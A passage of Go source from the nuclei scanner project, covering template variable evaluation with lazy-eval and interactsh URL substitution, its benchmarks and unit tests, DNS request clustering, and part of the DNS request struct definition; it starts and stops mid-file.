    "content": "package variables\n\nimport (\n\t\"strings\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/marker\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\n// Variable is a key-value pair of strings that can be used\n// throughout template.\ntype Variable struct {\n\t// LazyEval is used to evaluate variables lazily if it using any expression\n\t// or global variables.\n\tLazyEval                        bool `yaml:\"-\" json:\"-\"`\n\tutils.InsertionOrderedStringMap `yaml:\"-\" json:\"-\"`\n}\n\nfunc (variables Variable) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:                 \"object\",\n\t\tTitle:                \"variables for the request\",\n\t\tDescription:          \"Additional variables for the request\",\n\t\tAdditionalProperties: &jsonschema.Schema{},\n\t}\n\treturn gotType\n}\n\nfunc (variables *Variable) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvariables.InsertionOrderedStringMap = utils.InsertionOrderedStringMap{}\n\tif err := unmarshal(&variables.InsertionOrderedStringMap); err != nil {\n\t\treturn err\n\t}\n\n\tif variables.LazyEval || variables.checkForLazyEval() {\n\t\treturn nil\n\t}\n\n\tevaluated := variables.Evaluate(map[string]interface{}{})\n\n\tfor k, v := range evaluated {\n\t\tvariables.Set(k, v)\n\t}\n\treturn nil\n}\n\nfunc (variables *Variable) UnmarshalJSON(data []byte) error {\n\tvariables.InsertionOrderedStringMap = utils.InsertionOrderedStringMap{}\n\tif err := json.Unmarshal(data, &variables.InsertionOrderedStringMap); err != nil {\n\t\treturn err\n\t}\n\tevaluated := variables.Evaluate(map[string]interface{}{})\n\n\tfor k, v := range evaluated {\n\t\tvariables.Set(k, v)\n\t}\n\treturn nil\n}\n\n// Evaluate returns a finished map of variables based on set values\nfunc (variables *Variable) Evaluate(values map[string]interface{}) map[string]interface{} {\n\tresult := make(map[string]interface{}, variables.Len())\n\tcombined := make(map[string]interface{}, len(values)+variables.Len())\n\tgenerators.MergeMapsInto(combined, values)\n\n\tvariables.ForEach(func(key string, value interface{}) {\n\t\tif sliceValue, ok := value.([]interface{}); ok {\n\t\t\t// slices cannot be evaluated\n\t\t\tresult[key] = sliceValue\n\t\t\tcombined[key] = sliceValue\n\t\t\treturn\n\t\t}\n\t\tvalueString := types.ToString(value)\n\t\tif existingValue, ok := combined[key]; ok {\n\t\t\tvalueString = types.ToString(existingValue)\n\t\t}\n\t\tevaluated := evaluateVariableValueWithMap(valueString, combined)\n\t\tresult[key] = evaluated\n\t\tcombined[key] = evaluated\n\t})\n\treturn result\n}\n\n// GetAll returns all variables as a map\nfunc (variables *Variable) GetAll() map[string]interface{} {\n\tresult := make(map[string]interface{}, variables.Len())\n\tvariables.ForEach(func(key string, value interface{}) {\n\t\tresult[key] = value\n\t})\n\treturn result\n}\n\n// EvaluateWithInteractsh returns evaluation results of variables with interactsh\nfunc (variables *Variable) EvaluateWithInteractsh(values map[string]interface{}, interact *interactsh.Client) (map[string]interface{}, []string) {\n\tresult := make(map[string]interface{}, variables.Len())\n\tcombined := make(map[string]interface{}, len(values)+variables.Len())\n\tgenerators.MergeMapsInto(combined, values)\n\n\tvar interactURLs []string\n\tvariables.ForEach(func(key string, value interface{}) {\n\t\tif sliceValue, ok := value.([]interface{}); ok {\n\t\t\t// slices cannot be evaluated\n\t\t\tresult[key] = sliceValue\n\t\t\tcombined[key] = sliceValue\n\t\t\treturn\n\t\t}\n\t\tvalueString := types.ToString(value)\n\t\tif existingValue, ok := combined[key]; ok {\n\t\t\tvalueString = types.ToString(existingValue)\n\t\t}\n\t\tif strings.Contains(valueString, \"interactsh-url\") {\n\t\t\tvalueString, interactURLs = interact.Replace(valueString, interactURLs)\n\t\t}\n\t\tevaluated := evaluateVariableValueWithMap(valueString, combined)\n\t\tresult[key] = evaluated\n\t\tcombined[key] = evaluated\n\t})\n\treturn result, interactURLs\n}\n\n// evaluateVariableValue expression and returns final value.\n//\n// Deprecated: use evaluateVariableValueWithMap instead to avoid repeated map\n// merging overhead.\nfunc evaluateVariableValue(expression string, values, processing map[string]interface{}) string { // nolint\n\tfinalMap := generators.MergeMaps(values, processing)\n\tresult, err := expressions.Evaluate(expression, finalMap)\n\tif err != nil {\n\t\treturn expression\n\t}\n\n\treturn result\n}\n\n// evaluateVariableValueWithMap evaluates an expression with a pre-merged map.\nfunc evaluateVariableValueWithMap(expression string, combinedMap map[string]interface{}) string {\n\tresult, err := expressions.Evaluate(expression, combinedMap)\n\tif err != nil {\n\t\treturn expression\n\t}\n\n\treturn result\n}\n\n// checkForLazyEval checks if the variables have any lazy evaluation i.e any dsl function\n// and sets the flag accordingly.\nfunc (variables *Variable) checkForLazyEval() bool {\n\tvar needsLazy bool\n\n\tvariables.ForEach(func(key string, value interface{}) {\n\t\tif needsLazy {\n\t\t\treturn\n\t\t}\n\n\t\tfor _, v := range protocolutils.KnownVariables {\n\t\t\tif stringsutil.ContainsAny(types.ToString(value), v) {\n\t\t\t\tneedsLazy = true\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// this is a hotfix and not the best way to do it\n\t\t// will be refactored once we move scan state to scanContext (see: https://github.com/projectdiscovery/nuclei/issues/4631)\n\t\tif strings.Contains(types.ToString(value), \"interactsh-url\") {\n\t\t\tneedsLazy = true\n\t\t\treturn\n\t\t}\n\n\t\tif hasUndefinedParams(types.ToString(value), variables) {\n\t\t\tneedsLazy = true\n\t\t\treturn\n\t\t}\n\t})\n\n\tvariables.LazyEval = needsLazy\n\n\treturn variables.LazyEval\n}\n\n// hasUndefinedParams checks if a variable value contains expressions that ref\n// parameters not defined in the current variable scope, indicating it needs\n// runtime context.\nfunc hasUndefinedParams(value string, variables *Variable) bool {\n\texprs := expressions.FindExpressions(value, marker.ParenthesisOpen, marker.ParenthesisClose, map[string]interface{}{})\n\tif len(exprs) == 0 {\n\t\treturn false\n\t}\n\n\tdefinedVars := make(map[string]struct{})\n\tvariables.ForEach(func(key string, _ interface{}) {\n\t\tdefinedVars[key] = struct{}{}\n\t})\n\n\tfor _, expr := range exprs {\n\t\tcompiled, err := govaluate.NewEvaluableExpressionWithFunctions(expr, dsl.HelperFunctions)\n\t\tif err != nil {\n\t\t\t// NOTE(dwisiswant0): here, it might need runtime context.\n\t\t\treturn true\n\t\t}\n\n\t\tvars := compiled.Vars()\n\t\tfor _, paramName := range vars {\n\t\t\t// NOTE(dwisiswant0): also here, if it's not in our defined vars.\n\t\t\tif _, exists := definedVars[paramName]; !exists {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n"
  },
  {
    "path": "pkg/protocols/common/variables/variables_bench_test.go",
    "content": "package variables\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n)\n\nfunc BenchmarkVariableEvaluate(b *testing.B) {\n\t// Setup variables with chained references and DSL functions\n\tvariables := &Variable{\n\t\tLazyEval:                  true,\n\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(5),\n\t}\n\tvariables.Set(\"base\", \"testvalue\")\n\tvariables.Set(\"derived1\", \"{{base}}_suffix\")\n\tvariables.Set(\"derived2\", \"{{md5(derived1)}}\")\n\tvariables.Set(\"derived3\", \"prefix_{{derived2}}\")\n\tvariables.Set(\"final\", \"{{derived3}}_end\")\n\n\tinputValues := map[string]interface{}{\n\t\t\"BaseURL\": \"http://example.com\",\n\t\t\"Host\":    \"example.com\",\n\t\t\"Path\":    \"/api/v1\",\n\t}\n\n\tb.Run(\"Evaluate\", func(b *testing.B) {\n\t\tb.Run(\"5Variables\", func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor b.Loop() {\n\t\t\t\t_ = variables.Evaluate(inputValues)\n\t\t\t}\n\t\t})\n\n\t\tb.Run(\"Parallel\", func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tb.RunParallel(func(pb *testing.PB) {\n\t\t\t\tfor pb.Next() {\n\t\t\t\t\t_ = variables.Evaluate(inputValues)\n\t\t\t\t}\n\t\t\t})\n\t\t})\n\t})\n}\n\nfunc BenchmarkVariableEvaluateScaling(b *testing.B) {\n\t// Test how the optimization scales with different variable counts\n\tinputValues := map[string]interface{}{\n\t\t\"BaseURL\": \"http://example.com\",\n\t\t\"Host\":    \"example.com\",\n\t}\n\n\tbenchmarkSizes := []int{1, 5, 10, 20}\n\n\tfor _, size := range benchmarkSizes {\n\t\tvariables := &Variable{\n\t\t\tLazyEval:                  true,\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(size),\n\t\t}\n\n\t\t// Create chain of variables\n\t\tfor i := range size {\n\t\t\tvarName := fmt.Sprintf(\"var%d\", i)\n\t\t\tif i == 0 {\n\t\t\t\tvariables.Set(varName, \"initial\")\n\t\t\t} else {\n\t\t\t\tprevVarName := fmt.Sprintf(\"var%d\", i-1)\n\t\t\t\tvariables.Set(varName, fmt.Sprintf(\"{{%s}}_step\", prevVarName))\n\t\t\t}\n\t\t}\n\n\t\tb.Run(fmt.Sprintf(\"Variables-%d\", size), func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor b.Loop() {\n\t\t\t\t_ = variables.Evaluate(inputValues)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/variables/variables_test.go",
    "content": "package variables\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/stretchr/testify/require\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nfunc TestVariablesEvaluate(t *testing.T) {\n\tdata := `a2: \"{{md5('test')}}\"\na3: \"this_is_random_text\"\na4: \"{{date_time('%Y-%M-%D')}}\"\na5: \"{{reverse(hostname)}}\"\na6: \"123456\"`\n\n\tvariables := Variable{}\n\terr := yaml.Unmarshal([]byte(data), &variables)\n\trequire.NoError(t, err, \"could not unmarshal variables\")\n\n\tresult := variables.Evaluate(map[string]interface{}{\"hostname\": \"google.com\"})\n\ta4 := time.Now().Format(\"2006-01-02\")\n\trequire.Equal(t, map[string]interface{}{\"a2\": \"098f6bcd4621d373cade4e832627b4f6\", \"a3\": \"this_is_random_text\", \"a4\": a4, \"a5\": \"moc.elgoog\", \"a6\": \"123456\"}, result, \"could not get correct elements\")\n\n\t// json\n\tdata = `{\n  \"a2\": \"{{md5('test')}}\",\n  \"a3\": \"this_is_random_text\",\n  \"a4\": \"{{date_time('%Y-%M-%D')}}\",\n  \"a5\": \"{{reverse(hostname)}}\",\n  \"a6\": \"123456\"\n}`\n\tvariables = Variable{}\n\terr = json.Unmarshal([]byte(data), &variables)\n\trequire.NoError(t, err, \"could not unmarshal json variables\")\n\n\tresult = variables.Evaluate(map[string]interface{}{\"hostname\": \"google.com\"})\n\ta4 = time.Now().Format(\"2006-01-02\")\n\trequire.Equal(t, map[string]interface{}{\"a2\": \"098f6bcd4621d373cade4e832627b4f6\", \"a3\": \"this_is_random_text\", \"a4\": a4, \"a5\": \"moc.elgoog\", \"a6\": \"123456\"}, result, \"could not get correct elements\")\n\n}\n\nfunc TestCheckForLazyEval(t *testing.T) {\n\tt.Run(\"undefined-parameters-in-expression\", func(t *testing.T) {\n\t\t// Variables with expressions that reference undefined parameters\n\t\t// should be marked for lazy evaluation\n\t\tvariables := &Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(2),\n\t\t}\n\t\tvariables.Set(\"var1\", \"{{sha1(serial)}}\")           // 'serial' is undefined\n\t\tvariables.Set(\"var2\", \"{{replace(user, '.', '')}}\") // 'user' is undefined\n\n\t\tresult := variables.checkForLazyEval()\n\t\trequire.True(t, result, \"should detect undefined parameters and set LazyEval=true\")\n\t\trequire.True(t, variables.LazyEval, \"LazyEval flag should be true\")\n\t})\n\n\tt.Run(\"self-referencing-variables\", func(t *testing.T) {\n\t\t// Variables that reference other defined variables should NOT be lazy\n\t\tvariables := &Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(2),\n\t\t}\n\t\tvariables.Set(\"base\", \"example\")\n\t\tvariables.Set(\"derived\", \"{{base}}_suffix\") // 'base' is defined\n\n\t\tresult := variables.checkForLazyEval()\n\t\trequire.False(t, result, \"should not set LazyEval for self-referencing defined variables\")\n\t\trequire.False(t, variables.LazyEval, \"LazyEval flag should be false\")\n\t})\n\n\tt.Run(\"constant-expressions\", func(t *testing.T) {\n\t\t// Constant expressions without variables should NOT be lazy\n\t\tvariables := &Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(2),\n\t\t}\n\t\tvariables.Set(\"const1\", \"{{2+2}}\")\n\t\tvariables.Set(\"const2\", \"{{rand_int(1, 100)}}\")\n\n\t\tresult := variables.checkForLazyEval()\n\t\trequire.False(t, result, \"should not set LazyEval for constant expressions\")\n\t\trequire.False(t, variables.LazyEval, \"LazyEval flag should be false\")\n\t})\n\n\tt.Run(\"known-runtime-variables\", func(t *testing.T) {\n\t\t// Variables with known runtime variables (Host, BaseURL, etc.) should be lazy\n\t\tvariables := &Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\tvariables.Set(\"url\", \"{{BaseURL}}/api\")\n\n\t\tresult := variables.checkForLazyEval()\n\t\trequire.True(t, result, \"should detect known runtime variables\")\n\t\trequire.True(t, variables.LazyEval, \"LazyEval flag should be true\")\n\t})\n\n\tt.Run(\"interactsh-url\", func(t *testing.T) {\n\t\t// Variables with interactsh-url should be lazy\n\t\tvariables := &Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\tvariables.Set(\"callback\", \"{{interactsh-url}}\")\n\n\t\tresult := variables.checkForLazyEval()\n\t\trequire.True(t, result, \"should detect interactsh-url\")\n\t\trequire.True(t, variables.LazyEval, \"LazyEval flag should be true\")\n\t})\n\n\tt.Run(\"mixed-defined-and-undefined\", func(t *testing.T) {\n\t\t// Mix of defined and undefined parameters in actual expressions\n\t\tvariables := &Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(3),\n\t\t}\n\t\tvariables.Set(\"defined\", \"value\")\n\t\tvariables.Set(\"uses_defined\", \"{{base64(defined)}}\")           // OK - 'defined' exists\n\t\tvariables.Set(\"uses_undefined\", \"{{base64(undefined_param)}}\") // NOT OK - 'undefined_param' doesn't exist\n\n\t\tresult := variables.checkForLazyEval()\n\t\trequire.True(t, result, \"should detect undefined parameters even with some defined\")\n\t\trequire.True(t, variables.LazyEval, \"LazyEval flag should be true\")\n\t})\n\n\tt.Run(\"plain-strings-no-expressions\", func(t *testing.T) {\n\t\t// Plain string values without expressions\n\t\tvariables := &Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(2),\n\t\t}\n\t\tvariables.Set(\"plain1\", \"simple value\")\n\t\tvariables.Set(\"plain2\", \"another value\")\n\n\t\tresult := variables.checkForLazyEval()\n\t\trequire.False(t, result, \"should not set LazyEval for plain strings\")\n\t\trequire.False(t, variables.LazyEval, \"LazyEval flag should be false\")\n\t})\n\n\tt.Run(\"complex-expression-with-undefined\", func(t *testing.T) {\n\t\t// Complex expression with multiple undefined parameters\n\t\tvariables := &Variable{\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\tvariables.Set(\"complex\", \"{{sha1(cert_serial + issuer)}}\")\n\n\t\tresult := variables.checkForLazyEval()\n\t\trequire.True(t, result, \"should detect undefined parameters in complex expressions\")\n\t\trequire.True(t, variables.LazyEval, \"LazyEval flag should be true\")\n\t})\n}\n\nfunc TestVariablesEvaluateChained(t *testing.T) {\n\tt.Run(\"chained-variable-references\", func(t *testing.T) {\n\t\t// Test that variables can reference previously defined variables\n\t\t// and that input values (like BaseURL) are available for evaluation\n\t\t// but not included in the result\n\t\tvariables := &Variable{\n\t\t\tLazyEval:                  true, // skip auto-evaluation in UnmarshalYAML\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(3),\n\t\t}\n\t\tvariables.Set(\"a\", \"hello\")\n\t\tvariables.Set(\"b\", \"{{a}} world\")\n\t\tvariables.Set(\"c\", \"{{b}}!\")\n\n\t\tinputValues := map[string]interface{}{\n\t\t\t\"BaseURL\": \"http://example.com\",\n\t\t\t\"Host\":    \"example.com\",\n\t\t}\n\n\t\tresult := variables.Evaluate(inputValues)\n\n\t\t// Result should contain only the defined variables, not input values\n\t\trequire.Len(t, result, 3, \"result should contain exactly 3 variables\")\n\t\trequire.NotContains(t, result, \"BaseURL\", \"result should not contain input values\")\n\t\trequire.NotContains(t, result, \"Host\", \"result should not contain input values\")\n\n\t\t// Chained evaluation should work correctly\n\t\trequire.Equal(t, \"hello\", result[\"a\"])\n\t\trequire.Equal(t, \"hello world\", result[\"b\"])\n\t\trequire.Equal(t, \"hello world!\", result[\"c\"])\n\t})\n\n\tt.Run(\"variables-using-input-values\", func(t *testing.T) {\n\t\t// Test that variables can use input values in expressions\n\t\tvariables := &Variable{\n\t\t\tLazyEval:                  true,\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(2),\n\t\t}\n\t\tvariables.Set(\"api_url\", \"{{BaseURL}}/api/v1\")\n\t\tvariables.Set(\"full_path\", \"{{api_url}}/users\")\n\n\t\tinputValues := map[string]interface{}{\n\t\t\t\"BaseURL\": \"http://example.com\",\n\t\t}\n\n\t\tresult := variables.Evaluate(inputValues)\n\n\t\trequire.Len(t, result, 2)\n\t\trequire.Equal(t, \"http://example.com/api/v1\", result[\"api_url\"])\n\t\trequire.Equal(t, \"http://example.com/api/v1/users\", result[\"full_path\"])\n\t\trequire.NotContains(t, result, \"BaseURL\")\n\t})\n\n\tt.Run(\"mixed-expressions-and-chaining\", func(t *testing.T) {\n\t\t// Test combining DSL functions with chained variables\n\t\tvariables := &Variable{\n\t\t\tLazyEval:                  true,\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(3),\n\t\t}\n\t\tvariables.Set(\"token\", \"secret123\")\n\t\tvariables.Set(\"hashed\", \"{{md5(token)}}\")\n\t\tvariables.Set(\"header\", \"X-Auth: {{hashed}}\")\n\n\t\tresult := variables.Evaluate(map[string]interface{}{})\n\n\t\trequire.Equal(t, \"secret123\", result[\"token\"])\n\t\trequire.Equal(t, \"5d7845ac6ee7cfffafc5fe5f35cf666d\", result[\"hashed\"]) // md5(\"secret123\")\n\t\trequire.Equal(t, \"X-Auth: 5d7845ac6ee7cfffafc5fe5f35cf666d\", result[\"header\"])\n\t})\n\n\tt.Run(\"evaluation-order-preserved\", func(t *testing.T) {\n\t\t// Test that evaluation follows insertion order\n\t\t// (important for variables that depend on previously defined ones)\n\t\tvariables := &Variable{\n\t\t\tLazyEval:                  true,\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(4),\n\t\t}\n\t\tvariables.Set(\"step1\", \"A\")\n\t\tvariables.Set(\"step2\", \"{{step1}}B\")\n\t\tvariables.Set(\"step3\", \"{{step2}}C\")\n\t\tvariables.Set(\"step4\", \"{{step3}}D\")\n\n\t\tresult := variables.Evaluate(map[string]interface{}{})\n\n\t\trequire.Equal(t, \"A\", result[\"step1\"])\n\t\trequire.Equal(t, \"AB\", result[\"step2\"])\n\t\trequire.Equal(t, \"ABC\", result[\"step3\"])\n\t\trequire.Equal(t, \"ABCD\", result[\"step4\"])\n\t})\n}\n\nfunc TestEvaluateWithInteractshOverrideOrder(t *testing.T) {\n\t// This test demonstrates a bug where interactsh URL replacement is wasted\n\t// when an input value exists for the same variable key.\n\t//\n\t// Bug scenario:\n\t// 1. Variable \"callback\" is defined with \"{{interactsh-url}}\"\n\t// 2. Input values contain \"callback\" with some other value\n\t// 3. The interactsh-url is replaced first (wasting an interactsh URL)\n\t// 4. Then immediately overwritten by the input value\n\t//\n\t// Expected behavior: Input override should be checked FIRST, then interactsh\n\t// replacement should happen on the final valueString.\n\n\tt.Run(\"interactsh-replacement-with-input-override\", func(t *testing.T) {\n\t\tvariables := &Variable{\n\t\t\tLazyEval:                  true,\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\tvariables.Set(\"callback\", \"{{interactsh-url}}\")\n\n\t\t// Input provides an override that also contains interactsh-url\n\t\tinputValues := map[string]interface{}{\n\t\t\t\"callback\": \"https://custom.{{interactsh-url}}/path\",\n\t\t}\n\n\t\t// Create a real interactsh client for testing\n\t\tclient, err := interactsh.New(&interactsh.Options{\n\t\t\tServerURL:           \"oast.fun\",\n\t\t\tCacheSize:           100,\n\t\t\tEviction:            60 * time.Second,\n\t\t\tCooldownPeriod:      5 * time.Second,\n\t\t\tPollDuration:        5 * time.Second,\n\t\t\tDisableHttpFallback: true,\n\t\t})\n\t\trequire.NoError(t, err, \"could not create interactsh client\")\n\t\tdefer client.Close()\n\n\t\tresult, urls := variables.EvaluateWithInteractsh(inputValues, client)\n\n\t\t// The input override contains interactsh-url, so it should be replaced\n\t\t// and we should have exactly 1 URL from the input override\n\t\trequire.Len(t, urls, 1, \"should have 1 interactsh URL from input override\")\n\n\t\t// The result should use the input override (with interactsh replaced)\n\t\trequire.Contains(t, result[\"callback\"], \"https://custom.\", \"should use input override pattern\")\n\t\trequire.Contains(t, result[\"callback\"], \"/path\", \"should use input override pattern\")\n\t\trequire.NotContains(t, result[\"callback\"], \"{{interactsh-url}}\", \"interactsh should be replaced\")\n\t})\n\n\tt.Run(\"interactsh-replacement-without-input-override\", func(t *testing.T) {\n\t\tvariables := &Variable{\n\t\t\tLazyEval:                  true,\n\t\t\tInsertionOrderedStringMap: *utils.NewEmptyInsertionOrderedStringMap(1),\n\t\t}\n\t\tvariables.Set(\"callback\", \"{{interactsh-url}}\")\n\n\t\t// No input override for \"callback\"\n\t\tinputValues := map[string]interface{}{\n\t\t\t\"other_key\": \"other_value\",\n\t\t}\n\n\t\tclient, err := interactsh.New(&interactsh.Options{\n\t\t\tServerURL:           \"oast.fun\",\n\t\t\tCacheSize:           100,\n\t\t\tEviction:            60 * time.Second,\n\t\t\tCooldownPeriod:      5 * time.Second,\n\t\t\tPollDuration:        5 * time.Second,\n\t\t\tDisableHttpFallback: true,\n\t\t})\n\t\trequire.NoError(t, err, \"could not create interactsh client\")\n\t\tdefer client.Close()\n\n\t\tresult, urls := variables.EvaluateWithInteractsh(inputValues, client)\n\n\t\t// Should have 1 URL from the variable definition\n\t\trequire.Len(t, urls, 1, \"should have 1 interactsh URL\")\n\n\t\t// The result should be the replaced interactsh URL\n\t\trequire.NotContains(t, result[\"callback\"], \"{{interactsh-url}}\", \"interactsh should be replaced\")\n\t\trequire.NotEmpty(t, result[\"callback\"], \"callback should have a value\")\n\t})\n}\n"
  },
  {
    "path": "pkg/protocols/dns/cluster.go",
    "content": "package dns\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/cespare/xxhash\"\n)\n\n// TmplClusterKey generates a unique key for the request\n// to be used in the clustering process.\nfunc (request *Request) TmplClusterKey() uint64 {\n\trecursion := \"\"\n\tif request.Recursion != nil {\n\t\trecursion = fmt.Sprintf(\"%t\", *request.Recursion)\n\t}\n\tinp := fmt.Sprintf(\"%s-%d-%d-%d-%s\", request.Name, request.class, request.Retries, request.question, recursion)\n\treturn xxhash.Sum64String(inp)\n}\n\n// IsClusterable returns true if the request is eligible to be clustered.\nfunc (request *Request) IsClusterable() bool {\n\treturn len(request.Resolvers) <= 0 && !request.Trace && request.ID == \"\"\n}\n"
  },
  {
    "path": "pkg/protocols/dns/dns.go",
    "content": "package dns\n\nimport (\n\t\"strings\"\n\n\t\"github.com/miekg/dns\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool\"\n\t\"github.com/projectdiscovery/retryabledns\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\n// Request contains a DNS protocol request to be made from a template\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline\"`\n\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the dns request,description=ID is the optional ID of the DNS Request\"`\n\n\t// description: |\n\t//   Name is the Hostname to make DNS request for.\n\t//\n\t//   Generally, it is set to {{FQDN}} which is the domain we get from input.\n\t// examples:\n\t//   - value: \"\\\"{{FQDN}}\\\"\"\n\tName string `yaml:\"name,omitempty\" json:\"name,omitempty\" jsonschema:\"title=hostname to make dns request for,description=Name is the Hostname to make DNS request for\"`\n\t// description: |\n\t//   RequestType is the type of DNS request to make.\n\tRequestType DNSRequestTypeHolder `yaml:\"type,omitempty\" json:\"type,omitempty\" jsonschema:\"title=type of dns request to make,description=Type is the type of DNS request to make,enum=A,enum=NS,enum=DS,enum=CNAME,enum=SOA,enum=PTR,enum=MX,enum=TXT,enum=AAAA\"`\n\t// description: |\n\t//   Class is the class of the DNS request.\n\t//\n\t//   Usually it's enough to just leave it as INET.\n\t// values:\n\t//   - \"inet\"\n\t//   - \"csnet\"\n\t//   - \"chaos\"\n\t//   - \"hesiod\"\n\t//   - \"none\"\n\t//   - \"any\"\n\tClass string `yaml:\"class,omitempty\" json:\"class,omitempty\" jsonschema:\"title=class of DNS request,description=Class is the class of the DNS request,enum=inet,enum=csnet,enum=chaos,enum=hesiod,enum=none,enum=any\"`\n\t// description: |\n\t//   Retries is the number of retries for the DNS request\n\t// examples:\n\t//   - name: Use a retry of 3 to 5 generally\n\t//     value: 5\n\tRetries int `yaml:\"retries,omitempty\" json:\"retries,omitempty\" jsonschema:\"title=retries for dns request,description=Retries is the number of retries for the DNS request\"`\n\t// description: |\n\t//   Trace performs a trace operation for the target.\n\tTrace bool `yaml:\"trace,omitempty\" json:\"trace,omitempty\" jsonschema:\"title=trace operation,description=Trace performs a trace operation for the target.\"`\n\t// description: |\n\t//   TraceMaxRecursion is the number of max recursion allowed for trace operations\n\t// examples:\n\t//   - name: Use a retry of 100 to 150 generally\n\t//     value: 100\n\tTraceMaxRecursion int `yaml:\"trace-max-recursion,omitempty\" json:\"trace-max-recursion,omitempty\"  jsonschema:\"title=trace-max-recursion level for dns request,description=TraceMaxRecursion is the number of max recursion allowed for trace operations\"`\n\n\t// description: |\n\t//   Attack is the type of payload combinations to perform.\n\t//\n\t//   Batteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\n\t//   permutations and combinations for all payloads.\n\tAttackType generators.AttackTypeHolder `yaml:\"attack,omitempty\" json:\"attack,omitempty\" jsonschema:\"title=attack is the payload combination,description=Attack is the type of payload combinations to perform,enum=batteringram,enum=pitchfork,enum=clusterbomb\"`\n\t// description: |\n\t//   Payloads contains any payloads for the current request.\n\t//\n\t//   Payloads support both key-values combinations where a list\n\t//   of payloads is provided, or optionally a single file can also\n\t//   be provided as payload which will be read on run-time.\n\tPayloads map[string]interface{} `yaml:\"payloads,omitempty\" json:\"payloads,omitempty\" jsonschema:\"title=payloads for the network request,description=Payloads contains any payloads for the current request\"`\n\t// description: |\n\t//    Threads to use when sending iterating over payloads\n\t// examples:\n\t//   - name: Send requests using 10 concurrent threads\n\t//     value: 10\n\tThreads   int `yaml:\"threads,omitempty\" json:\"threads,omitempty\" jsonschema:\"title=threads for sending requests,description=Threads specifies number of threads to use sending requests. This enables Connection Pooling\"`\n\tgenerator *generators.PayloadGenerator\n\n\tCompiledOperators *operators.Operators `yaml:\"-\" json:\"-\"`\n\tdnsClient         *retryabledns.Client\n\toptions           *protocols.ExecutorOptions\n\n\t// cache any variables that may be needed for operation.\n\tclass    uint16\n\tquestion uint16\n\n\t// description: |\n\t//   Recursion determines if resolver should recurse all records to get fresh results.\n\tRecursion *bool `yaml:\"recursion,omitempty\" json:\"recursion,omitempty\" jsonschema:\"title=recurse all servers,description=Recursion determines if resolver should recurse all records to get fresh results\"`\n\t// Resolvers to use for the dns requests\n\tResolvers []string `yaml:\"resolvers,omitempty\" json:\"resolvers,omitempty\" jsonschema:\"title=Resolvers,description=Define resolvers to use within the template\"`\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar 